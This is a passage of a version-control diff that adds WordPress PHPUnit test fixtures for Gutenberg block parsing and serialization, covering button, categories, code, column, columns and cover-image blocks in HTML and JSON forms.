--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__block.server.html	(revision 56912)
@@ -0,0 +1,1 @@
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/button {"align":"center"} -->
+<div class="wp-block-button aligncenter"><a class="wp-block-button__link" href="https://github.com/WordPress/gutenberg">Help build Gutenberg</a></div>
+<!-- /wp:core/button -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.json	(revision 56912)
@@ -0,0 +1,14 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/button",
+        "isValid": true,
+        "attributes": {
+            "url": "https://github.com/WordPress/gutenberg",
+            "text": "Help build Gutenberg",
+            "align": "center"
+        },
+        "innerBlocks": [],
+        "originalContent": "<div class=\"wp-block-button aligncenter\"><a class=\"wp-block-button__link\" href=\"https://github.com/WordPress/gutenberg\">Help build Gutenberg</a></div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.parsed.json	(revision 56912)
@@ -0,0 +1,18 @@
+[
+    {
+        "blockName": "core/button",
+        "attrs": {
+            "align": "center"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<div class=\"wp-block-button aligncenter\"><a class=\"wp-block-button__link\" href=\"https://github.com/WordPress/gutenberg\">Help build Gutenberg</a></div>\n",
+        "innerContent": [ "\n<div class=\"wp-block-button aligncenter\"><a class=\"wp-block-button__link\" href=\"https://github.com/WordPress/gutenberg\">Help build Gutenberg</a></div>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:button {"align":"center"} -->
+<div class="wp-block-button aligncenter"><a class="wp-block-button__link" href="https://github.com/WordPress/gutenberg">Help build Gutenberg</a></div>
+<!-- /wp:button -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__button__center.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<div class="wp-block-button aligncenter"><a class="wp-block-button__link" href="https://github.com/WordPress/gutenberg">Help build Gutenberg</a></div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:core/categories {"showPostCounts":false,"displayAsDropdown":false,"showHierarchy":false} /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.json	(revision 56912)
@@ -0,0 +1,14 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/categories",
+        "isValid": true,
+        "attributes": {
+            "displayAsDropdown": false,
+            "showHierarchy": false,
+            "showPostCounts": false
+        },
+        "innerBlocks": [],
+        "originalContent": ""
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.parsed.json	(revision 56912)
@@ -0,0 +1,20 @@
+[
+    {
+        "blockName": "core/categories",
+        "attrs": {
+            "showPostCounts": false,
+            "displayAsDropdown": false,
+            "showHierarchy": false
+        },
+        "innerBlocks": [],
+        "innerHTML": "",
+        "innerContent": []
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.serialized.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:categories /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__categories.server.html	(revision 56912)
@@ -0,0 +1,1 @@
+<ul class="wp-block-categories wp-block-categories-list"><li class="cat-item-none">No categories</li></ul>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.html	(revision 56912)
@@ -0,0 +1,5 @@
+<!-- wp:core/code -->
+<pre class="wp-block-code"><code>export default function MyButton() {
+	return &lt;Button&gt;Click Me!&lt;/Button&gt;;
+}</code></pre>
+<!-- /wp:core/code -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/code",
+        "isValid": true,
+        "attributes": {
+            "content": "export default function MyButton() {\n\treturn <Button>Click Me!</Button>;\n}"
+        },
+        "innerBlocks": [],
+        "originalContent": "<pre class=\"wp-block-code\"><code>export default function MyButton() {\n\treturn &lt;Button&gt;Click Me!&lt;/Button&gt;;\n}</code></pre>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/code",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<pre class=\"wp-block-code\"><code>export default function MyButton() {\n\treturn &lt;Button&gt;Click Me!&lt;/Button&gt;;\n}</code></pre>\n",
+        "innerContent": [ "\n<pre class=\"wp-block-code\"><code>export default function MyButton() {\n\treturn &lt;Button&gt;Click Me!&lt;/Button&gt;;\n}</code></pre>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.serialized.html	(revision 56912)
@@ -0,0 +1,5 @@
+<!-- wp:code -->
+<pre class="wp-block-code"><code>export default function MyButton() {
+	return &lt;Button>Click Me!&lt;/Button>;
+}</code></pre>
+<!-- /wp:code -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__code.server.html	(revision 56912)
@@ -0,0 +1,5 @@
+
+<pre class="wp-block-code"><code>export default function MyButton() {
+	return &lt;Button&gt;Click Me!&lt;/Button&gt;;
+}</code></pre>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.html	(revision 56912)
@@ -0,0 +1,10 @@
+<!-- wp:column -->
+<div class="wp-block-column">
+	<!-- wp:paragraph -->
+	<p>Column One, Paragraph One</p>
+	<!-- /wp:paragraph -->
+	<!-- wp:paragraph -->
+	<p>Column One, Paragraph Two</p>
+	<!-- /wp:paragraph -->
+</div>
+<!-- /wp:columns -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.json	(revision 56912)
@@ -0,0 +1,33 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/column",
+        "isValid": true,
+        "attributes": {},
+        "innerBlocks": [
+            {
+                "clientId": "_clientId_0",
+                "name": "core/paragraph",
+                "isValid": true,
+                "attributes": {
+                    "content": "Column One, Paragraph One",
+                    "dropCap": false
+                },
+                "innerBlocks": [],
+                "originalContent": "<p>Column One, Paragraph One</p>"
+            },
+            {
+                "clientId": "_clientId_1",
+                "name": "core/paragraph",
+                "isValid": true,
+                "attributes": {
+                    "content": "Column One, Paragraph Two",
+                    "dropCap": false
+                },
+                "innerBlocks": [],
+                "originalContent": "<p>Column One, Paragraph Two</p>"
+            }
+        ],
+        "originalContent": "<div class=\"wp-block-column\">\n\t\n\t\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.parsed.json	(revision 56912)
@@ -0,0 +1,31 @@
+[
+    {
+        "blockName": "core/column",
+        "attrs": {},
+        "innerBlocks": [
+            {
+                "blockName": "core/paragraph",
+                "attrs": {},
+                "innerBlocks": [],
+                "innerHTML": "\n\t<p>Column One, Paragraph One</p>\n\t",
+                "innerContent": [ "\n\t<p>Column One, Paragraph One</p>\n\t" ]
+            },
+            {
+                "blockName": "core/paragraph",
+                "attrs": {},
+                "innerBlocks": [],
+                "innerHTML": "\n\t<p>Column One, Paragraph Two</p>\n\t",
+                "innerContent": [ "\n\t<p>Column One, Paragraph Two</p>\n\t" ]
+            }
+        ],
+        "innerHTML": "\n<div class=\"wp-block-column\">\n\t\n\t\n</div>\n",
+        "innerContent": [ "\n<div class=\"wp-block-column\">\n\t", null, "\n\t", null, "\n</div>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.serialized.html	(revision 56912)
@@ -0,0 +1,9 @@
+<!-- wp:column -->
+<div class="wp-block-column"><!-- wp:paragraph -->
+<p>Column One, Paragraph One</p>
+<!-- /wp:paragraph -->
+
+<!-- wp:paragraph -->
+<p>Column One, Paragraph Two</p>
+<!-- /wp:paragraph --></div>
+<!-- /wp:column -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__column.server.html	(revision 56912)
@@ -0,0 +1,10 @@
+
+<div class="wp-block-column">
+	
+	<p>Column One, Paragraph One</p>
+	
+	
+	<p>Column One, Paragraph Two</p>
+	
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.html	(revision 56912)
@@ -0,0 +1,24 @@
+<!-- wp:columns {"columns":3} -->
+<div class="wp-block-columns has-3-columns">
+	<!-- wp:column -->
+	<div class="wp-block-column">
+		<!-- wp:paragraph -->
+		<p>Column One, Paragraph One</p>
+		<!-- /wp:paragraph -->
+		<!-- wp:paragraph -->
+		<p>Column One, Paragraph Two</p>
+		<!-- /wp:paragraph -->
+	</div>
+	<!-- /wp:column -->
+	<!-- wp:column -->
+	<div class="wp-block-column">
+		<!-- wp:paragraph -->
+		<p>Column Two, Paragraph One</p>
+		<!-- /wp:paragraph -->
+		<!-- wp:paragraph -->
+		<p>Column Three, Paragraph One</p>
+		<!-- /wp:paragraph -->
+	</div>
+	<!-- /wp:column -->
+</div>
+<!-- /wp:columns -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.json	(revision 56912)
@@ -0,0 +1,75 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/columns",
+        "isValid": true,
+        "attributes": {
+            "columns": 3
+        },
+        "innerBlocks": [
+            {
+                "clientId": "_clientId_0",
+                "name": "core/column",
+                "isValid": true,
+                "attributes": {},
+                "innerBlocks": [
+                    {
+                        "clientId": "_clientId_0",
+                        "name": "core/paragraph",
+                        "isValid": true,
+                        "attributes": {
+                            "content": "Column One, Paragraph One",
+                            "dropCap": false
+                        },
+                        "innerBlocks": [],
+                        "originalContent": "<p>Column One, Paragraph One</p>"
+                    },
+                    {
+                        "clientId": "_clientId_1",
+                        "name": "core/paragraph",
+                        "isValid": true,
+                        "attributes": {
+                            "content": "Column One, Paragraph Two",
+                            "dropCap": false
+                        },
+                        "innerBlocks": [],
+                        "originalContent": "<p>Column One, Paragraph Two</p>"
+                    }
+                ],
+                "originalContent": "<div class=\"wp-block-column\">\n\t\t\n\t\t\n\t</div>"
+            },
+            {
+                "clientId": "_clientId_1",
+                "name": "core/column",
+                "isValid": true,
+                "attributes": {},
+                "innerBlocks": [
+                    {
+                        "clientId": "_clientId_0",
+                        "name": "core/paragraph",
+                        "isValid": true,
+                        "attributes": {
+                            "content": "Column Two, Paragraph One",
+                            "dropCap": false
+                        },
+                        "innerBlocks": [],
+                        "originalContent": "<p>Column Two, Paragraph One</p>"
+                    },
+                    {
+                        "clientId": "_clientId_1",
+                        "name": "core/paragraph",
+                        "isValid": true,
+                        "attributes": {
+                            "content": "Column Three, Paragraph One",
+                            "dropCap": false
+                        },
+                        "innerBlocks": [],
+                        "originalContent": "<p>Column Three, Paragraph One</p>"
+                    }
+                ],
+                "originalContent": "<div class=\"wp-block-column\">\n\t\t\n\t\t\n\t</div>"
+            }
+        ],
+        "originalContent": "<div class=\"wp-block-columns has-3-columns\">\n\t\n\t\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.parsed.json	(revision 56912)
@@ -0,0 +1,91 @@
+[
+    {
+        "blockName": "core/columns",
+        "attrs": {
+            "columns": 3
+        },
+        "innerBlocks": [
+            {
+                "blockName": "core/column",
+                "attrs": {},
+                "innerBlocks": [
+                    {
+                        "blockName": "core/paragraph",
+                        "attrs": {},
+                        "innerBlocks": [],
+                        "innerHTML": "\n\t\t<p>Column One, Paragraph One</p>\n\t\t",
+                        "innerContent": [
+                            "\n\t\t<p>Column One, Paragraph One</p>\n\t\t"
+                        ]
+                    },
+                    {
+                        "blockName": "core/paragraph",
+                        "attrs": {},
+                        "innerBlocks": [],
+                        "innerHTML": "\n\t\t<p>Column One, Paragraph Two</p>\n\t\t",
+                        "innerContent": [
+                            "\n\t\t<p>Column One, Paragraph Two</p>\n\t\t"
+                        ]
+                    }
+                ],
+                "innerHTML": "\n\t<div class=\"wp-block-column\">\n\t\t\n\t\t\n\t</div>\n\t",
+                "innerContent": [
+                    "\n\t<div class=\"wp-block-column\">\n\t\t",
+                    null,
+                    "\n\t\t",
+                    null,
+                    "\n\t</div>\n\t"
+                ]
+            },
+            {
+                "blockName": "core/column",
+                "attrs": {},
+                "innerBlocks": [
+                    {
+                        "blockName": "core/paragraph",
+                        "attrs": {},
+                        "innerBlocks": [],
+                        "innerHTML": "\n\t\t<p>Column Two, Paragraph One</p>\n\t\t",
+                        "innerContent": [
+                            "\n\t\t<p>Column Two, Paragraph One</p>\n\t\t"
+                        ]
+                    },
+                    {
+                        "blockName": "core/paragraph",
+                        "attrs": {},
+                        "innerBlocks": [],
+                        "innerHTML": "\n\t\t<p>Column Three, Paragraph One</p>\n\t\t",
+                        "innerContent": [
+                            "\n\t\t<p>Column Three, Paragraph One</p>\n\t\t"
+                        ]
+                    }
+                ],
+                "innerHTML": "\n\t<div class=\"wp-block-column\">\n\t\t\n\t\t\n\t</div>\n\t",
+                "innerContent": [
+                    "\n\t<div class=\"wp-block-column\">\n\t\t",
+                    null,
+                    "\n\t\t",
+                    null,
+                    "\n\t</div>\n\t"
+                ]
+            }
+        ],
+        "innerHTML": "\n<div class=\"wp-block-columns has-3-columns\">\n\t\n\t\n</div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-columns has-3-columns\">\n\t",
+            null,
+            "\n\t",
+            null,
+            "\n</div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.serialized.html	(revision 56912)
@@ -0,0 +1,21 @@
+<!-- wp:columns {"columns":3} -->
+<div class="wp-block-columns has-3-columns"><!-- wp:column -->
+<div class="wp-block-column"><!-- wp:paragraph -->
+<p>Column One, Paragraph One</p>
+<!-- /wp:paragraph -->
+
+<!-- wp:paragraph -->
+<p>Column One, Paragraph Two</p>
+<!-- /wp:paragraph --></div>
+<!-- /wp:column -->
+
+<!-- wp:column -->
+<div class="wp-block-column"><!-- wp:paragraph -->
+<p>Column Two, Paragraph One</p>
+<!-- /wp:paragraph -->
+
+<!-- wp:paragraph -->
+<p>Column Three, Paragraph One</p>
+<!-- /wp:paragraph --></div>
+<!-- /wp:column --></div>
+<!-- /wp:columns -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns.server.html	(revision 56912)
@@ -0,0 +1,24 @@
+
+<div class="wp-block-columns has-3-columns">
+	
+	<div class="wp-block-column">
+		
+		<p>Column One, Paragraph One</p>
+		
+		
+		<p>Column One, Paragraph Two</p>
+		
+	</div>
+	
+	
+	<div class="wp-block-column">
+		
+		<p>Column Two, Paragraph One</p>
+		
+		
+		<p>Column Three, Paragraph One</p>
+		
+	</div>
+	
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.html	(revision 56912)
@@ -0,0 +1,16 @@
+<!-- wp:columns {"columns":3} -->
+<div class="wp-block-columns has-3-columns">
+	<!-- wp:paragraph {"layout":"column-1"} -->
+	<p class="layout-column-1">Column One, Paragraph One</p>
+	<!-- /wp:paragraph -->
+	<!-- wp:paragraph {"layout":"column-1"} -->
+	<p class="layout-column-1">Column One, Paragraph Two</p>
+	<!-- /wp:paragraph -->
+	<!-- wp:paragraph {"layout":"column-2"} -->
+	<p class="layout-column-2">Column Two, Paragraph One</p>
+	<!-- /wp:paragraph -->
+	<!-- wp:paragraph {"layout":"column-3"} -->
+	<p class="layout-column-3">Column Three, Paragraph One</p>
+	<!-- /wp:paragraph -->
+</div>
+<!-- /wp:columns -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.json	(revision 56912)
@@ -0,0 +1,85 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/columns",
+        "isValid": true,
+        "attributes": {
+            "columns": 3
+        },
+        "innerBlocks": [
+            {
+                "clientId": "_clientId_0",
+                "name": "core/column",
+                "isValid": true,
+                "attributes": {},
+                "innerBlocks": [
+                    {
+                        "clientId": "_clientId_0",
+                        "name": "core/paragraph",
+                        "isValid": true,
+                        "attributes": {
+                            "content": "Column One, Paragraph One",
+                            "dropCap": false,
+                            "className": "layout-column-1"
+                        },
+                        "innerBlocks": [],
+                        "originalContent": "<p class=\"layout-column-1\">Column One, Paragraph One</p>"
+                    },
+                    {
+                        "clientId": "_clientId_1",
+                        "name": "core/paragraph",
+                        "isValid": true,
+                        "attributes": {
+                            "content": "Column One, Paragraph Two",
+                            "dropCap": false,
+                            "className": "layout-column-1"
+                        },
+                        "innerBlocks": [],
+                        "originalContent": "<p class=\"layout-column-1\">Column One, Paragraph Two</p>"
+                    }
+                ]
+            },
+            {
+                "clientId": "_clientId_1",
+                "name": "core/column",
+                "isValid": true,
+                "attributes": {},
+                "innerBlocks": [
+                    {
+                        "clientId": "_clientId_0",
+                        "name": "core/paragraph",
+                        "isValid": true,
+                        "attributes": {
+                            "content": "Column Two, Paragraph One",
+                            "dropCap": false,
+                            "className": "layout-column-2"
+                        },
+                        "innerBlocks": [],
+                        "originalContent": "<p class=\"layout-column-2\">Column Two, Paragraph One</p>"
+                    }
+                ]
+            },
+            {
+                "clientId": "_clientId_2",
+                "name": "core/column",
+                "isValid": true,
+                "attributes": {},
+                "innerBlocks": [
+                    {
+                        "clientId": "_clientId_0",
+                        "name": "core/paragraph",
+                        "isValid": true,
+                        "attributes": {
+                            "content": "Column Three, Paragraph One",
+                            "dropCap": false,
+                            "className": "layout-column-3"
+                        },
+                        "innerBlocks": [],
+                        "originalContent": "<p class=\"layout-column-3\">Column Three, Paragraph One</p>"
+                    }
+                ]
+            }
+        ],
+        "originalContent": "<div class=\"wp-block-columns has-3-columns\">\n\t\n\t\n\t\n\t\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.parsed.json	(revision 56912)
@@ -0,0 +1,75 @@
+[
+    {
+        "blockName": "core/columns",
+        "attrs": {
+            "columns": 3
+        },
+        "innerBlocks": [
+            {
+                "blockName": "core/paragraph",
+                "attrs": {
+                    "layout": "column-1"
+                },
+                "innerBlocks": [],
+                "innerHTML": "\n\t<p class=\"layout-column-1\">Column One, Paragraph One</p>\n\t",
+                "innerContent": [
+                    "\n\t<p class=\"layout-column-1\">Column One, Paragraph One</p>\n\t"
+                ]
+            },
+            {
+                "blockName": "core/paragraph",
+                "attrs": {
+                    "layout": "column-1"
+                },
+                "innerBlocks": [],
+                "innerHTML": "\n\t<p class=\"layout-column-1\">Column One, Paragraph Two</p>\n\t",
+                "innerContent": [
+                    "\n\t<p class=\"layout-column-1\">Column One, Paragraph Two</p>\n\t"
+                ]
+            },
+            {
+                "blockName": "core/paragraph",
+                "attrs": {
+                    "layout": "column-2"
+                },
+                "innerBlocks": [],
+                "innerHTML": "\n\t<p class=\"layout-column-2\">Column Two, Paragraph One</p>\n\t",
+                "innerContent": [
+                    "\n\t<p class=\"layout-column-2\">Column Two, Paragraph One</p>\n\t"
+                ]
+            },
+            {
+                "blockName": "core/paragraph",
+                "attrs": {
+                    "layout": "column-3"
+                },
+                "innerBlocks": [],
+                "innerHTML": "\n\t<p class=\"layout-column-3\">Column Three, Paragraph One</p>\n\t",
+                "innerContent": [
+                    "\n\t<p class=\"layout-column-3\">Column Three, Paragraph One</p>\n\t"
+                ]
+            }
+        ],
+        "innerHTML": "\n<div class=\"wp-block-columns has-3-columns\">\n\t\n\t\n\t\n\t\n</div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-columns has-3-columns\">\n\t",
+            null,
+            "\n\t",
+            null,
+            "\n\t",
+            null,
+            "\n\t",
+            null,
+            "\n</div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.serialized.html	(revision 56912)
@@ -0,0 +1,23 @@
+<!-- wp:columns {"columns":3} -->
+<div class="wp-block-columns has-3-columns"><!-- wp:column -->
+<div class="wp-block-column"><!-- wp:paragraph {"className":"layout-column-1"} -->
+<p class="layout-column-1">Column One, Paragraph One</p>
+<!-- /wp:paragraph -->
+
+<!-- wp:paragraph {"className":"layout-column-1"} -->
+<p class="layout-column-1">Column One, Paragraph Two</p>
+<!-- /wp:paragraph --></div>
+<!-- /wp:column -->
+
+<!-- wp:column -->
+<div class="wp-block-column"><!-- wp:paragraph {"className":"layout-column-2"} -->
+<p class="layout-column-2">Column Two, Paragraph One</p>
+<!-- /wp:paragraph --></div>
+<!-- /wp:column -->
+
+<!-- wp:column -->
+<div class="wp-block-column"><!-- wp:paragraph {"className":"layout-column-3"} -->
+<p class="layout-column-3">Column Three, Paragraph One</p>
+<!-- /wp:paragraph --></div>
+<!-- /wp:column --></div>
+<!-- /wp:columns -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__columns__deprecated.server.html	(revision 56912)
@@ -0,0 +1,16 @@
+
+<div class="wp-block-columns has-3-columns">
+	
+	<p class="layout-column-1">Column One, Paragraph One</p>
+	
+	
+	<p class="layout-column-1">Column One, Paragraph Two</p>
+	
+	
+	<p class="layout-column-2">Column Two, Paragraph One</p>
+	
+	
+	<p class="layout-column-3">Column Three, Paragraph One</p>
+	
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.html	(revision 56912)
@@ -0,0 +1,5 @@
+<!-- wp:core/cover-image {"url":"https://cldup.com/uuUqE_dXzy.jpg","dimRatio":40} -->
+<div class="wp-block-cover-image has-background-dim-40 has-background-dim" style="background-image:url(https://cldup.com/uuUqE_dXzy.jpg)">
+    <p class="wp-block-cover-image-text">Guten Berg!</p>
+</div>
+<!-- /wp:core/cover-image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/cover-image",
+        "isValid": true,
+        "attributes": {
+            "title": "Guten Berg!",
+            "url": "https://cldup.com/uuUqE_dXzy.jpg",
+            "contentAlign": "center",
+            "hasParallax": false,
+            "dimRatio": 40
+        },
+        "innerBlocks": [],
+        "originalContent": "<div class=\"wp-block-cover-image has-background-dim-40 has-background-dim\" style=\"background-image:url(https://cldup.com/uuUqE_dXzy.jpg)\">\n    <p class=\"wp-block-cover-image-text\">Guten Berg!</p>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.parsed.json
===================================================================
